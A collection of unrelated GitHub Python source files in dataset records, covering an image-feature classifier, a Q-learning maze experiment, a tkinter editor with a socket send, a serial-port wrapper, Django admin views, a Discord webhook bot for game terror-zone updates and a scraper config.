'AdaptiveAvgPool2d'}\n\ndef get_features(x, model, layers):\n for name, layer in enumerate(model.children()): # 0, conv\n x = layer(x)\n if str(name) in layers:\n features = x\n break\n return features\n\ndef train(train_loader, model, device):\n model.eval()\n features = np.empty((0, 512), float)\n targets = np.empty(0, float)\n\n for images, target in train_loader:\n if torch.cuda.is_available():\n images = images.to(device)\n target = target.cuda(device)\n\n # compute output\n feature = get_features(images, model, feature_layers)\n feature = torch.flatten(feature, 1)\n\n features = np.append(features, feature.detach().cpu().numpy(), axis=0)\n targets = np.append(targets, target.detach().cpu().numpy(), axis=0)\n\n return features, targets\n\n\ndef validate(val_loader, model, device):\n features = np.empty((0, 512), float)\n targets = np.empty(0, float)\n\n # switch to evaluate mode\n model.eval()\n\n with torch.no_grad():\n for images, target in val_loader:\n if torch.cuda.is_available():\n images = images.to(device)\n target = target.cuda(device)\n\n # compute output\n feature = get_features(images, model, feature_layers)\n feature = torch.flatten(feature, 1)\n\n features = np.append(features, feature.detach().cpu().numpy(), axis=0)\n targets = np.append(targets, target.detach().cpu().numpy(), axis=0)\n\n return features, targets\n\n\ndef save_checkpoint(state, is_best, filename='checkpoint/checkpoint.pth.tar'):\n torch.save(state, filename)\n if is_best:\n shutil.copyfile(filename, 'checkpoint/model_best.pth.tar')\n\n\nclass Summary(Enum):\n NONE = 0\n AVERAGE = 1\n SUM = 2\n COUNT = 3\n\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\"\"\"\n def __init__(self, name, fmt=':f', summary_type=Summary.AVERAGE):\n self.name = name\n self.fmt = fmt\n self.summary_type = summary_type\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n def __str__(self):\n fmtstr = '{name} {avg' + self.fmt + '}'\n return fmtstr.format(**self.__dict__)\n \n def summary(self):\n fmtstr = ''\n if self.summary_type is Summary.NONE:\n fmtstr = ''\n elif self.summary_type is Summary.AVERAGE:\n fmtstr = '{name} {avg:.4f}'\n elif self.summary_type is Summary.SUM:\n fmtstr = '{name} {sum:.4f}'\n elif self.summary_type is Summary.COUNT:\n fmtstr = '{name} {count:.4f}'\n else:\n raise ValueError('invalid summary type %r' % self.summary_type)\n \n return fmtstr.format(**self.__dict__)\n\n\nclass ProgressMeter(object):\n def __init__(self, num_batches, meters, prefix=\"\"):\n self.batch_fmtstr = self._get_batch_fmtstr(num_batches)\n self.meters = meters\n self.prefix = prefix\n\n def display(self, batch):\n entries = [self.prefix + self.batch_fmtstr.format(batch)]\n entries += [str(meter) for meter in self.meters]\n print('\\t'.join(entries))\n \n def display_summary(self):\n entries = [\" *\"]\n entries += [meter.summary() for meter in self.meters]\n print(' '.join(entries))\n\n def _get_batch_fmtstr(self, num_batches):\n num_digits = len(str(num_batches // 1))\n fmt = '{:' + str(num_digits) + 'd}'\n return '[' + fmt + '/' + fmt.format(num_batches) + ']'\n\n\ndef accuracy(output, target):\n \"\"\"Computes the accuracy over the k top predictions for the specified values\"\"\"\n with torch.no_grad():\n batch_size = target.size(0)\n\n _, pred = output.topk(1, 1, True, True) # k, dim, largest, sorted\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n correct = correct[0].reshape(-1).float().sum(0, keepdim=True)\n correct = correct.mul_(100.0 / batch_size)\n\n return correct","repo_name":"CAU-AIR/Archive","sub_path":"PC/Image/CIFAR-10/kNN/utils/NCM_Classifier.py","file_name":"NCM_Classifier.py","file_ext":"py","file_size_in_byte":4346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"10468795170","text":"\n\"\"\"\nCreated on Sun Jul 14 16:17:21 2019\n\n小环境,希望能找到解,并并完善流程\n与 QL形成对比实验\n\n@author: Administrator\n\"\"\"\n\n\"\"\"\n接着State_Im_MAZE.py\n获取关键状态,并进行可视化\n按步运行,并动态显示我们找到的关键状态\n\n为关键状态赋值,并将其融入Qlearning 算法\n设计并完成比较实验,证明, 这种发现关键状态的方法可以加速Q-Learning的收敛\n\n1.隔离状态编码,与,求解过程\n2.重新设计策略提升方法\n3.从随机策略学起\n4.尽量精简流程\n\n\"\"\"\nimport time\nimport gym\nimport numpy as np\nfrom SPPI.GIPI.maze_env20 import Maze\nfrom SPPI.GIPI.RL_brain4 import UptrendVS,QLearningTable, InternalModel\nimport matplotlib.pyplot as plt\nimport scipy.signal as signal # 求极值用\nimport pandas as pd\nfrom matplotlib.pyplot import plot,savefig\n\ndef generate_trjs(M_trjs,N_steps,RL,env):\n\n trjs =[]\n for eps in range(M_trjs):\n trj = []\n step = 0\n observation = env.reset()\n state = RL.obs_to_state(observation)\n trj.append(state)\n while step < N_steps and RL.getRflag == False:\n step += 1\n env.render()\n #action = RL.random_action(observation)\n action = RL.choose_action(str(state))\n observation_, reward, done = env.step(action)\n observation = observation_\n if done:\n print(\"done during generate\")\n RL.getRflag = True\n state=RL.obs_to_state(observation)\n trj.append(state)\n RL.resetIm(trj,reward)\n break\n state = RL.obs_to_state(observation)\n trj.append(state)\n trjs.append(trj)\n return trjs\n\ndef show_trjs(trjs,RL):\n for trj in trjs:\n print(\"trj :\")\n for i in range(len(trj)):\n print(RL.show_state(trj[i]))\n\n # def Im_s1(self,P):\n # n_state = len(P)\n # Im = pd.DataFrame([{'ImS': 0, 'beforestate': 0}], index=P.index, columns=['ImS', 'beforestate'],\n # dtype=np.float64)\n #\n # ind_C = Im[P['BEplusAF'] == P['BEplusAF'].max()].index # argmax??\n # print(ind_C)\n # Im.loc[ind_C, 'ImS'] = 1\n #\n # return Im\n# def trainQ(N,RL,env):\n# trainnumber = 100000\n\n\n\n\ndef train(N,RL,env):\n \"\"\"\n\n :param N: 每次训练的步数\n :return:\n \"\"\"\n #n_state = len(S_space)\n trainnumber = 100000\n r = np.zeros(trainnumber)\n usingstep = [] # 跟主函数中的NumEps重复了\n steps = 0 # 用来评价收敛的速度\n for eps in range(trainnumber):\n \"\"\"\n 需要重新定义局部收敛的条件,我们只要得到局部的收敛策略即可\n \"\"\"\n observation = env.reset()\n step = 0\n temp_trj =[]\n usingstep.append(step)\n while step < N:\n step +=1\n usingstep[eps]=step\n env.render()\n state = RL.obs_to_state(observation)\n temp_trj.append(state)\n action = RL.choose_action(str(observation))\n observation_, reward, done = env.step(action)\n if reward >0 :\n RL.getRflag =True\n state = RL.obs_to_state(observation)\n temp_trj.append(state)\n RL.resetIm(temp_trj,reward)\n\n state_= RL.obs_to_state(observation_)\n\n if str(state_) in RL.Im.index:\n maxImS = RL.Im['ImS'].max()\n # if RL.getRflag:\n # \"\"\" 所有Im中的值都指导探索\"\"\"\n # reward = reward*maxImS + maxImS\n # r[eps] = r[eps] + reward # 用来判断收敛\n # RL.learn(str(state), action, reward, str(state_))\n if RL.Im.loc[str(state_), 'ImS'] == maxImS:\n # if RL.getRflag == False:\n \"\"\"只有最大值指导探索 \"\"\"\n reward = reward*maxImS + maxImS\n r[eps] = r[eps] + reward # 用来判断收敛\n RL.learn(str(state), action, reward, str(state_))\n break\n\n r[eps] = r[eps] + reward # 用来判断收敛\n RL.learn(str(state), action, reward, str(state_))\n observation = observation_\n\n\n if done:\n break\n\n\n #steps = steps + step\n #print(\"Im \\n\",RL.Im['ImS'])\n print(\"max Im \\n\",RL.Im)\n print(\"sum r\",sum(r[eps - 10:eps]))\n\n if eps>10:\n\n # print(\"usingstep[eps]\",usingstep[eps])\n # print(\"usingstep[eps-10]\",usingstep[eps-10])\n\n if (sum(r[eps - 10:eps]) > 9* RL.Im['ImS'].max()) and sum(usingstep[eps - 10:eps]) == usingstep[eps] * 10:\n print(\"this turn have done\")\n print(\"temp_trj\",temp_trj)\n for state in temp_trj:\n StateID = str(state)\n RL.check_state_exist_Im(StateID)\n RL.Im.loc[StateID, 'beforestate'] = 1\n break\n\n return usingstep\n\ndef trainOnly(N,RL,env):\n \"\"\"\n\n :param N: 每次训练的步数\n :return:\n \"\"\"\n # n_state = len(S_space)\n trainnumber = 100000\n r = np.zeros(trainnumber)\n usingstep = [] # 用来评价收敛的速度\n\n for eps in range(trainnumber):\n \"\"\"\n 需要重新定义局部收敛的条件,我们只要得到局部的收敛策略即可\n \"\"\"\n #RL.resetgetstate()\n observation = env.reset()\n step = 0\n temp_trj = []\n RL.getstatereset()\n usingstep.append(step)\n while step < N:\n step += 1\n usingstep[eps] = step\n #print(\"step \",step)\n env.render()\n state = RL.obs_to_state(observation)\n temp_trj.append(state)\n action = RL.choose_action(str(observation))\n observation_, reward, done = env.step(action)\n state_ = RL.obs_to_state(observation_)\n if reward > 0 and step < RL.minstep:\n RL.minstep = step\n RL.getRflag = True\n temp_trj.append(state_)\n RL.resetIm(temp_trj, reward)\n\n\n if str(state_) in RL.Im.index:\n #print(\"state_\",state_)\n if RL.Im.loc[str(state_),'getstate']== 0:\n reward = reward*RL.Im.loc[str(state_),'ImS'] + RL.Im.loc[str(state_),'ImS']\n RL.Im.loc[str(state_), 'getstate'] = 1\n else:\n reward = reward\n\n r[eps] = r[eps] + reward # 用来判断收敛\n RL.learn(str(state), action, reward, str(state_))\n observation = observation_\n\n\n if done:\n\n print(\"done step\",step)\n break\n #steps = steps + step\n #print(\"max Im \\n\", RL.Im)\n #print(\"sum r\", sum(r))\n if eps >10:\n if sum(usingstep[eps - 10:eps]) == usingstep[eps] * 10:\n print(\"this turn have done\")\n #print(\"temp_trj\",temp_trj)\n # for state in temp_trj:\n # StateID = str(state)\n # RL.check_state_exist_Im(StateID)\n # RL.Im.loc[StateID, 'beforestate'] = 1\n break\n\n return usingstep\ndef plotresults(NumEps,usingstep_Q):\n totalsteps = []\n for i in range(len(NumEps)):\n totalsteps.append(sum(NumEps[0:i]))\n t = range(0, len(NumEps))\n # mp.gcf().set_facecolor(np.ones(3) * 240 / 255) # 设置背景色\n fig, ax1 = plt.subplots() # 使用subplots()创建窗口\n ax2 = ax1.twinx() # 创建第二个坐标轴\n ax1.plot(t, NumEps, '-', c='orangered', label='y1', linewidth=1) # 绘制折线图像1,圆形点,标签,线宽\n ax2.plot(t, totalsteps,'-', c='blue', label='y2', linewidth=1) # 同上\n\n ax1.set_xlabel('n epsodic', size=10)\n ax1.set_ylabel('steps each epsodic', size=10)\n ax2.set_ylabel('total search steps', size=10)\n # mp.gcf().autofmt_xdate() # 自动适应刻度线密度,包括x轴,y轴\n #r_t=pd.DataFrame(t)\n r_NumEps = pd.DataFrame(NumEps)\n r_totalsteps = pd.DataFrame(totalsteps)\n #r_t.to_csv('r_t.csv')\n r_NumEps.to_csv('r_NumEps.csv')\n r_totalsteps.to_csv('r_totalsteps.csv')\n # mp.legend() # 显示折线的意义\n plt.show()\n #savefig('./pic/env20tempn30_201908022014.png')\n\n totalsteps_q=[]\n for i in range(len(usingstep_Q)):\n totalsteps_q.append(sum(usingstep_Q[0:i]))\n t0 = range(0,len(usingstep_Q))\n fig1, ax10 = plt.subplots() # 使用subplots()创建窗口\n ax20 = ax10.twinx() # 创建第二个坐标轴\n ax10.plot(t0, usingstep_Q, '-', c='orangered', label='y1', linewidth=1) # 绘制折线图像1,圆形点,标签,线宽\n ax20.plot(t0, totalsteps_q, '-', c='blue', label='y2', linewidth=1) # 同上\n\n ax10.set_xlabel('n epsodic', size=10)\n ax10.set_ylabel('steps each epsodic', size=10)\n ax20.set_ylabel('total search steps', size=10)\n # mp.gcf().autofmt_xdate() # 自动适应刻度线密度,包括x轴,y轴\n #r_t0= pd.DataFrame(t0)\n r_usingstep_Q= pd.DataFrame(usingstep_Q)\n r_totalsteps_q = pd.DataFrame(totalsteps_q)\n #r_t0.to_csv('r_t0.csv')\n r_usingstep_Q.to_csv('r_usingstep_Q.csv')\n r_totalsteps_q.to_csv('r_totalsteps_q.csv')\n # mp.legend() # 显示折线的意义\n plt.show()\n #savefig('./pic/env20tempn30_201908022014_Q.png')\n\ndef train_Q(RL_Q,env):\n steps = []\n trainnumber = 100000\n while len(steps)10:\n if sum(steps[len(steps) - 11:len(steps)-1]) == steps[-1] * 10:\n print(\"this turn have done\")\n #print(\"temp_trj\",temp_trj)\n # for state in temp_trj:\n # StateID = str(state)\n # RL.check_state_exist_Im(StateID)\n # RL.Im.loc[StateID, 'beforestate'] = 1\n break\n return steps\n\ndef main_MAZE(env):\n RL = UptrendVS(env,actions=list(range(env.n_actions)))\n M_trjs =100#30\n N_steps = 50#10\n N0=5\n NumEps = [] # 统计每个训练回合到达终点所用步数\n\n tempn =0\n strr =0\n while tempn<40:\n tempn +=1\n print(\"tempn\",tempn)\n #show_trjs(trjs,RL)\n #P=RL.stochastic_trj(trjs[1])\n if RL.getRflag == False:\n print(\"generate\")\n trjs = generate_trjs(M_trjs, N_steps - N0, RL, env)\n P= RL.stochastic_trjs(trjs)\n print(\"stochastic value of trjs \\n\", P)\n #BE = BE_Sk()\n Im = RL.Im_s(P,tempn)\n #print('Im s \\n',Im)\n print(\"train\")\n if RL.getRflag == False:\n usingstep=train(N_steps+2*N0, RL, env)\n else:\n print(\"train only\")\n #RL.epsilon = 0.5\n usingstep= trainOnly(N_steps + 10 * N0, RL, env)\n # print(\"steps\",steps)\n # print(\"step\",sr)\n ShortestStep = usingstep[-1]\n N_steps = N_steps + ShortestStep\n NumEps=NumEps+usingstep\n #print(NumEps)\n\n RL_Q= QLearningTable(actions=list(range(env.n_actions)))\n usingstep_Q = train_Q(RL_Q, env) # 根据各个状态的价值提升策略\n\n print(RL.Im)\n plotresults(NumEps,usingstep_Q)\n\n\n\n\nif __name__ == \"__main__\":\n env = Maze()\n S_space = env.state_space()\n main_MAZE(env)\n\n\n\n","repo_name":"kangyongxin/IJCAI2020SPPI","sub_path":"SPPI/GIPI/UptrendStateValueRL_v4.py","file_name":"UptrendStateValueRL_v4.py","file_ext":"py","file_size_in_byte":12312,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"70714210391","text":"from tkinter import *\nfrom tkinter import filedialog\nimport socket\nimport json\nfrom os import listdir\nfrom os.path import isfile, join\nimport tokrules\n\nHOST = \"172.20.10.4\"\nPORT = 8787\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.connect((HOST, PORT))\n\nclass text_editor:\n current_open_file = \"no files\"\n def open_file(self):\n open_return = filedialog.askopenfile(initialdir = \"/home/elias/PycharmProjects/Compiler/venv\", title = \"Select File to Open\", filetypes=((\"text files\",\"*.txt\"),(\"all files\",\"*.*\")))\n if(open_return != None):\n self.text_area.delete(1.0, END)\n for line in open_return:\n self.text_area.insert(END,line)\n self.current_open_file = open_return.name\n open_return.close()\n\n def save_as_file(self):\n f = filedialog.asksaveasfile(mode = \"w\", defaultextension = \".txt\")\n if f is None:\n return\n text2save = self.text_area.get(1.0, END)\n self.current_open_file = f.name\n f.write(text2save)\n f.close()\n\n def save_file(self):\n if self.current_open_file == \"no file\":\n self.save_as_file()\n else:\n f = open(self.current_open_file, \"w+\")\n f.write(self.text_area.get(1.0,END))\n f.close()\n\n def new_file(self):\n self.text_area.delete(1.0,END)\n self.current_open_file = \"no_file\"\n\n def __init__(self, master):\n self.master = master\n master.title(\"GUI\")\n self.text_area = Text(self.master, undo = True)\n self.text_area.pack(fill = BOTH, expand = 1)\n self.main_menu = Menu()\n self.master.config(menu = self.main_menu)\n\n self.file_menu = Menu(self.main_menu, tearoff= False)\n self.edit_menu = Menu(self.main_menu)\n self.main_menu.add_cascade(label = \"File\", menu = self.file_menu)\n self.file_menu.add_command(label=\"New\", command=self.new_file)\n self.file_menu.add_command(label = \"Open\", command = self.open_file)\n self.file_menu.add_separator()\n self.file_menu.add_command(label = \"Save As\", command = self.save_as_file)\n self.file_menu.add_command(label = \"Save\", command = self.save_file)\n self.text_area.bind('',)\n\nroot = Tk()\nte = text_editor(root)\n\n#onlyfiles = [f for f in listdir(\"/home/kevinfgn/PycharmProjects/GUI/venv/Archives\")]\n\ndef sendJson():\n f = open(\"json_Test.json\")\n data = f.read()\n f.close()\n sock.sendall(data.encode())\n sock.close()\n\ndef compilar():\n compiler = tokrules.Compiler()\n compiler.execute_file(te.current_open_file)\n compiler.start_lexer()\n compiler.start_parser()\n return\n\n#requestEntry = Entry(new_root)\n#requestEntry.place(x = 5, y =320)\n\n#def requestAux(a,b):\n# if a == 0:\n # print(\"No existe\")\n # elif onlyfiles[b] == requestEntry.get():\n # True\n #else:\n # return requestAux(a-1 , b+1)\n\n#def request():\n # if len(onlyfiles) == 0:\n # print(\"No hay archivos\")\n # else:\n # return requestAux(len(onlyfiles),0)\n\n\ncompileButton = Button(root,text=\"Run\",command = compilar)\ncompileButton.place(x=1250,y=0)\n\nserverSend = Button(root, text=\"Send\", command = sendJson)\nserverSend.place(x=1250, y=30)\n\n#requestButton = Button(root, text= \"Request\", command = request)\n#requestButton.place(x=6, y=345)\n\nroot.mainloop()\n\n\n\n","repo_name":"delias2798/Projec_HelpEyes","sub_path":"venv/GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":3391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"25592741820","text":"import uuid, socket\nimport time\nfrom serial import Serial\n\n\nclass AcmDevice:\n \"\"\"Wrapper for accessing usb serial devices.\"\"\"\n\n def __init__(self, port, baud):\n self.__port = port\n self.__baud = baud\n self.__connection = Serial(port, baud, timeout=1)\n self.motd = \"\\n\".join([line.strip() for line in self.__connection.readlines()])\n self.__connection.timeout = 0\n if not (self.__connection.readable() and self.__connection.writable()):\n raise IOError(\"Insufficient read/write permissions for port %s.\" % port)\n\n def disconnect(self, disconnected=False):\n \"\"\"Close the serial connection.\"\"\"\n if not disconnected:\n self.__connection.flushOutput()\n self.__connection.close()\n\n def flush(self):\n \"\"\"Empties the output buffer.\"\"\"\n self.__connection.flushOutput()\n\n def poll(self, wait_for_ok=True):\n \"\"\"Poll the serial port for new data.\"\"\"\n buf = \"\"\n response = []\n timeout = 1\n while True:\n poll = self.__connection.readlines()\n if poll:\n for line in poll:\n buf += line\n if line.endswith(\"\\n\"):\n response.append(buf.strip())\n buf = \"\"\n if response and response[-1].startswith(\"ok\"):\n break\n elif not wait_for_ok:\n if timeout > 0:\n timeout -= 1\n else:\n break\n if buf:\n response.append(buf.strip())\n return tuple(response)\n\n def send(self, line):\n \"\"\"Send a line of text to the serial port. Will automatically\n be terminated with a line end.\"\"\"\n self.__connection.write(line.strip() + \"\\n\\r\")\n\n def make_uuid(self, firmware_name):\n \"\"\"Deterministically generatse a uuid from this connection.\n Used by firmware drivers if the firmware doesn't specify one\n through other means.\"\"\"\n\n namespace = uuid.uuid5(uuid.NAMESPACE_DNS, socket.getfqdn())\n return uuid.uuid5(namespace, firmware_name+\"@\"+self.__port)\n\n","repo_name":"Aeva/voxelpress","sub_path":"old_stuff/old_python_stuff/arduino/acm_device.py","file_name":"acm_device.py","file_ext":"py","file_size_in_byte":2170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"8036386878","text":"from argparse import ArgumentDefaultsHelpFormatter, ArgumentParser\n\nclass ArgsUtils():\n\n @staticmethod\n def initialiseParser(scriptUsesMealieApi: bool = False):\n parser = ArgumentParser(formatter_class=ArgumentDefaultsHelpFormatter)\n\n parser.add_argument(\n \"-v\",\n \"--verbosity\",\n help=\"Verbosity level\",\n choices=[\"DEBUG\", \"INFO\", \"WARNING\", \"ERROR\", \"CRITICAL\"],\n default=\"INFO\"\n )\n\n parser.add_argument(\n \"-d\",\n \"--dryRun\",\n help=\"No-op; will not modify resources\",\n action=\"store_true\"\n )\n\n if scriptUsesMealieApi:\n parser.add_argument(\n \"-u\",\n \"--url\",\n help=\"URL to Mealie instance\",\n required=True\n )\n\n parser.add_argument(\n \"-t\",\n \"--token\",\n help=\"Mealie API token\",\n required=True\n )\n\n parser.add_argument(\n \"-c\",\n \"--caPath\",\n help=\"Path to CA bundle used to verify Mealie TLS certificate\",\n default=None\n )\n\n parser.add_argument(\n \"--cacheDuration\",\n help=\"Number of seconds after which cached requests will expire.\"\n \" Set to -1 to disable expiration.\"\n \" Set to 0 to disable cacheing.\",\n default=3600 # 1 hour\n )\n\n return parser\n","repo_name":"Bibz87/mealie-tools","sub_path":"tools/ArgsUtils.py","file_name":"ArgsUtils.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"28900909286","text":"# -*- coding: utf-8 -*-\nfrom SGMGU.forms import *\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import messages\nfrom SGMGU.views.utiles import *\n\n\n@login_required\n@permission_required(['administrador'])\ndef gestion_categorias_usuario(request):\n categorias_usuario = Categoria_usuario.objects.all()\n return render(request, \"Nomencladores/CategoriaUsuario/gestion_categoria_usuario.html\", locals())\n\n\n@login_required\n@permission_required(['administrador'])\ndef registrar_categoria_usuario(request):\n if request.method == 'POST':\n form = CategoriaUsuarioForm(request.POST)\n if form.is_valid():\n form.save()\n messages.add_message(request, messages.SUCCESS, \"La categoría de usuario se ha registrado con éxito.\")\n return redirect('/categorias_usuario')\n else:\n form = CategoriaUsuarioForm()\n context = {'form': form, 'nombre_form': \"Registrar Categoría de usuario\"}\n return render(request, \"Nomencladores/CategoriaUsuario/registrar_categoria_usuario.html\", context)\n\n\n@login_required\n@permission_required(['administrador'])\ndef modificar_categoria_usuario(request, id_categoria_usuario):\n categoria_usuario = Categoria_usuario.objects.get(id=id_categoria_usuario)\n if request.method == 'POST':\n form = CategoriaUsuarioForm(request.POST, instance=categoria_usuario)\n if form.is_valid():\n form.save()\n messages.add_message(request, messages.SUCCESS, \"La categoría de usuario se ha modificado con éxito.\")\n return redirect('/categorias_usuario')\n else:\n form = CategoriaUsuarioForm(instance=categoria_usuario)\n context = {'form': form}\n return render(request, \"Nomencladores/CategoriaUsuario/modificar_categoria_usuario.html\", context)\n\n\n@login_required\n@permission_required(['administrador'])\ndef eliminar_categoria_usuario(request, id_categoria_usuario):\n categoria_usuario = Categoria_usuario.objects.get(id=id_categoria_usuario)\n categoria_usuario.delete()\n messages.add_message(request, messages.SUCCESS, \"La categoría de usuario se ha eliminado con éxito.\")\n return redirect('/categorias_usuario')\n\n\n# @login_required\n# @permission_required(['administrador'])\n# def activar_nivel_escolar(request, id_nivel_escolar):\n# nivel_escolar = NivelEscolar.objects.get(id=id_nivel_escolar)\n# nivel_escolar.activo = True\n# nivel_escolar.save()\n# messages.add_message(request, messages.SUCCESS, \"El nivel escolar se ha activado con éxito.\")\n# return redirect('/niveles_escolares')\n","repo_name":"RafaelBoza/SGMLEU","sub_path":"SGMGU/views/Nomencladores/views_categorias_usuario.py","file_name":"views_categorias_usuario.py","file_ext":"py","file_size_in_byte":2580,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"22774969510","text":"from flask import Flask\nimport requests\nimport json\nfrom rich import print\nfrom rich.progress import track\nfrom rich.spinner import Spinner\nfrom rich.console import Console\nfrom datetime import datetime, timedelta\nimport threading\nimport time\nimport warnings\nimport logging\nfrom requests.exceptions import RequestException\n\nlog = logging.getLogger('werkzeug')\nlog.setLevel(logging.ERROR)\nwarnings.filterwarnings(\"ignore\", category=UserWarning, module='flask')\n\napp = Flask(__name__)\n\n@app.route('/')\ndef home():\n return \"Server is running.\"\n\ndef load_zone_mappings():\n with open(\"zones.json\", \"r\") as file:\n return json.load(file)\n\nzone_mapping = load_zone_mappings()\n\ndef load_webhook_urls():\n with open(\"webhooks.json\", \"r\") as file:\n return [webhook[\"url\"] for webhook in json.load(file)[\"webhooks\"]]\n\nwebhook_urls = load_webhook_urls()\n\ndef load_debug_webhook_url():\n with open(\"webhooks.json\", \"r\") as file:\n return json.load(file).get(\"debug_webhook\")\n\ndebug_webhook_url = load_debug_webhook_url()\n\ndef fetch_terror_zone_data():\n url = 'https://www.d2emu.com/api/v1/tz'\n try:\n response = requests.get(url)\n response.raise_for_status()\n data = response.json()\n\n def get_zone_data_from_ids(ids_list):\n for zone_id in ids_list:\n zone_data = zone_mapping.get(zone_id)\n if zone_data:\n return zone_data\n return {\"location\": f\"Zone {ids_list[0]}\"}\n\n current_zone_data = get_zone_data_from_ids(data['current'])\n next_zone_data = get_zone_data_from_ids(data['next'])\n\n zone_name_current = current_zone_data.get(\"location\")\n image_url_current = current_zone_data.get(\"image\", \"\")\n status_current = \"Current\"\n timestamp_current = datetime.now().strftime('%m/%d/%Y, %I:%M:%S %p')\n\n zone_name_next = next_zone_data.get(\"location\")\n image_url_next = next_zone_data.get(\"image\", \"\")\n status_next = \"Next\"\n timestamp_next = (datetime.now() + timedelta(minutes=data.get('duration', 0))).strftime('%m/%d/%Y, %I:%M:%S %p')\n\n return (zone_name_next, image_url_next, status_next, timestamp_next), (zone_name_current, image_url_current, status_current, timestamp_current)\n \n except RequestException:\n print(\"[red]Error fetching terror zone data.[/red]\")\n return None, None\n\ndef create_embed(zone_name, image_url, status, timestamp):\n if status == \"Current\":\n title = \"Current Terror Zone\"\n else:\n title = \"Next Terror Zone\"\n\n COLOR_CURRENT = 0x00FF00 # Green\n COLOR_NEXT = 0xFF0000 # Red\n color = COLOR_CURRENT if status == \"Current\" else COLOR_NEXT\n return {\n \"title\": title,\n \"color\": color,\n \"image\": {\n \"url\": image_url\n }\n }\n\ndef send_to_discord(current_data, next_data, webhook_url=None):\n current_embed = create_embed(*current_data)\n next_embed = create_embed(*next_data)\n footer_embed = {\n \"description\": \"TZone-BOT v5.0 | Created by <@111629316164481024> | Data provided by d2emu.com\",\n \"color\": 0xFFFFFF\n }\n payload = {\"embeds\": [current_embed, next_embed, footer_embed]}\n \n try:\n if webhook_url:\n response = requests.post(webhook_url, json=payload)\n response.raise_for_status() \n return True\n else:\n success_all = True\n for webhook_url in webhook_urls:\n response = requests.post(webhook_url, json=payload)\n response.raise_for_status() \n if response.status_code != 204:\n success_all = False\n print(f\"[red]Failed to send message to Discord. Response: {response.content.decode()}[/red]\")\n return success_all\n \n except RequestException as e:\n print(f\"[red]Failed to send message to Discord. Error: {e}[/red]\")\n return False\n\ndef save_last_data(data):\n try:\n with open(\"history.json\", \"w\") as file:\n json.dump(data, file)\n except IOError:\n print(\"[red]Error saving last data to history.json.[/red]\")\n\ndef load_last_data():\n try:\n with open(\"history.json\", \"r\") as file:\n return tuple(json.load(file))\n except (FileNotFoundError, ValueError, IOError):\n print(\"[red]Error loading last data from history.json.[/red]\")\n return None\n\ndef main_loop():\n next_data, current_data = fetch_terror_zone_data()\n print(f\"[bold gold1]Fetching Terror Zone data[/bold gold1]\")\n\n save_last_data(next_data + current_data)\n print(f\"[bold spring_green1]Save the fetched data to history.json[/bold spring_green1]\")\n\n (next_zone_name, next_image_url, next_status, next_timestamp), (current_zone_name, current_image_url, current_status, current_timestamp) = next_data, current_data\n print(f\"[bold cornflower_blue]Current Terror Zone:[/bold cornflower_blue] {current_zone_name}\\n[bold red3]Next Terror Zone:[/bold red3] {next_zone_name}\\n\")\n\n send_to_discord(\n (current_zone_name, current_image_url, current_status, current_timestamp),\n (next_zone_name, next_image_url, next_status, next_timestamp),\n webhook_url=debug_webhook_url\n )\n\n last_saved_data = load_last_data()\n already_sent = False\n\n while True:\n current_time = datetime.now()\n if 0 <= current_time.minute < 5 and not already_sent:\n print(\"[blue_violet]Top of the hour detected! Waiting for a few minutes before checking for updated data...[/blue_violet]\")\n \n time.sleep(180)\n \n retries = 0\n max_retries = 5\n\n next_data, current_data = fetch_terror_zone_data()\n\n while retries < max_retries and (next_data + current_data) == last_saved_data:\n time.sleep(60)\n next_data, current_data = fetch_terror_zone_data()\n retries += 1\n print(\"[gold1]Data matches history. Retrying...[/gold1]\")\n\n if (next_data + current_data) != last_saved_data:\n success = send_to_discord(current_data, next_data)\n if success:\n print(f\"[medium_spring_green]Successfully sent updated data to Discord at {current_time.strftime('%I:%M %p %d-%m-%Y')}[/medium_spring_green]\")\n save_last_data(next_data + current_data)\n already_sent = True\n else:\n print(\"[red]Failed to send message to Discord.[/red]\")\n else:\n print(\"[red]Maximum retries reached. Data still matches history.[/red]\")\n\n else:\n already_sent = False\n next_hour = current_time.replace(minute=0, second=0) + timedelta(hours=1)\n seconds_until_next_hour = int((next_hour - current_time).total_seconds())\n \n console = Console()\n with console.status(\"[bold grey58]Waiting for the top of the hour...[/bold grey58]\", spinner=\"dots\"):\n time.sleep(seconds_until_next_hour)\n\nthread = threading.Thread(target=main_loop)\nthread.start()\n\nif __name__ == \"__main__\":\n print(\"[grey54]Starting the Flask server...[/grey54]\")\n app.run(host='0.0.0.0', port=8080)\n","repo_name":"juddisjudd/tzone_tracker","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7274,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"26680311503","text":"import os\nimport shutil\nfrom time import time\n\ncategories = {\n 'drinks': [\n ['varus', 'https://varus.zakaz.ua/uk/promotions/?category_id=drinks-varus&page='],\n ['novus', 'https://novus.zakaz.ua/uk/promotions/?category_id=drinks&page='],\n ['megamarket', 'https://megamarket.zakaz.ua/uk/promotions/?category_id=drinks-megamarket&page='],\n ['eko', 'https://eko.zakaz.ua/uk/promotions/?category_id=drinks-ekomarket&page='],\n ['auchan', 'https://auchan.zakaz.ua/uk/promotions/?category_id=drinks-auchan&page=']\n ],\n 'alcohol': [\n ['varus', 'https://varus.zakaz.ua/uk/promotions/?category_id=alcohol-varus&page='],\n ['novus', 